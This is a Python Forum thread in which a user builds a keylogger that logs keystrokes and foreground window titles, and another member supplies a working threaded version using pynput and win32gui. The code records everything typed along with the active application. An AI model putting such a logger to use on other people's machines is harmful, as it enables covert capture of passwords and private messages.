Python Forum
getting windows title and keystrokes !!
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
getting windows title and keystrokes !!
#1
hello there .... im trying to code a simple keylogger that log the key strokes and active windows titles : this is my code :

# -*- coding: utf-8 -*-
from pynput.keyboard import Listener 
import time
from win32gui import GetWindowText, GetForegroundWindow
import datetime



moment=time.strftime("%Y-%b-%d__%H_%M_%S",time.localtime())



def writetofile(key):


    keydata = str(key)
    keydata = keydata.replace("u" , "")
    keydata = keydata.replace("'" , "")

 
   
            
        
   
    with open("Log " + moment + ".txt" , "a") as qan:
        
        d = qan.write(keydata)
       
        


        

with Listener(on_press= writetofile ) as l:
    l.join()

def get_titles():

    current_title = None
    while True:
        moment2 = datetime.datetime.now().strftime("%Y-%b-%d [ %H:%M:%S.%f ]")
        new_title = GetWindowText(GetForegroundWindow())
        if new_title != current_title:
            if len(new_title) > 0:
                
                #logging.info(" Moved to : " + new_title)
                current_title = new_title
                time.sleep(0.1)
                #print(new_title)
                ff= (moment2 + " : " +  "Moved T0 : "+ new_title)
                print ff
             

get_titles()
i dont know how to add windows titles to my .txt file with key strokes !!
i need them like this :
Output:
2018-Nov-19 [ 02:36:49.767000 ] : Moved T0 : token.py - geckodriver-v0.23.0-win64 - Visual Studio Code \n www.google.comKey.tabkey.Spaceheywwwwpython 2018-Nov-19 [ 02:38:04.626000 ] : Moved T0 : Run 555552000520
Reply
#2
Help please !!
Reply
#3
You may want to download this code: https://github.com/surrealcristian/kl
and look at how they did it, or use as is.
Reply
#4
As you have two function both running a while(forever) loop,they will block running this together.
The easiest an first step is look into Threading.

I can do a test to see if i can run this together.
Testing this do work,can get title of Gui window and when start typing get keys.
So the basic work,you have to look into saving this to disk.
from pynput.keyboard import Key, Listener
import time
from win32gui import GetWindowText, GetForegroundWindow
import datetime
from threading import Thread

def on_press(key):
    print('{0} pressed'.format(key))

def on_release(key):
    print('{0} release'.format(key))
    if key == Key.esc:
        # Stop listener
        return False

def get_titles():
    current_title = None
    while True:
        moment2 = datetime.datetime.now().strftime("%Y-%b-%d [ %H:%M:%S.%f ]")
        new_title = GetWindowText(GetForegroundWindow())
        if new_title != current_title:
            if len(new_title) > 0:
                #logging.info(" Moved to : " + new_title)
                current_title = new_title
                time.sleep(0.1)
                #print(new_title)
                ff= (moment2 + " : " +  "Moved T0 : "+ new_title)
                print(ff)

def key_lissen():
     with Listener(
            on_press=on_press,
            on_release=on_release) as listener:
        listener.join()

if __name__ == '__main__':
    Thread(target=get_titles).start()
    Thread(target=key_lissen).start()
Output:
2018-Nov-20 [ 21:42:55.739615 ] : Moved T0 : uten navn - Notisblokk 2018-Nov-20 [ 21:42:55.840613 ] : Moved T0 : duck_go.py - div_code - Visual Studio Code 'j' pressed 'j' release 'j' pressed 'j' release 2018-Nov-20 [ 21:43:30.123032 ] : Moved T0 : npm - python key_t.py 2018-Nov-20 [ 21:43:38.954883 ] : Moved T0 : ● duck_go.py - div_code - Visual Studio Code 't' pressed 't' release 'e' pressed 'e' release 's' pressed 's' release 't' pressed
Reply
#5
thank u for help ... but im trying to learn threading i write this simple code but its not working its just run one function !!
code :
import threading
import time


def qan(hey):
    while True:

        d = hey + 1
        print d
        time.sleep(1)


def printd(printme):
    while True:
        print printme + "\n"
        time.sleep(1)


t1 = threading.Thread(target=qan, args=(1,))
t2 = threading.Thread(target=printd, args=("hey",))
t2.start()
t1.start()







 
can i know where is the problem in my code ?

Output:
hey 2 2 hey 2hey 2
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Thoughts on interfacing with a QR code reader that outputs keystrokes? wrybread 1 1,447 Oct-08-2021, 03:44 PM
Last Post: bowlofred
  check if the windows title chnaged ! evilcode1 2 2,932 Nov-12-2018, 10:42 AM
Last Post: evilcode1
  Python script runs on startup but does not register keystrokes. mericanpi 3 3,375 Sep-07-2018, 02:58 PM
Last Post: mericanpi
  How to change font size of chart title and axis title ? thrupass 5 15,420 Mar-30-2018, 04:02 PM
Last Post: DrFunn1
  trying to get the keystrokes values to file rwahdan 2 3,922 Jul-14-2017, 06:53 PM
Last Post: rwahdan

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020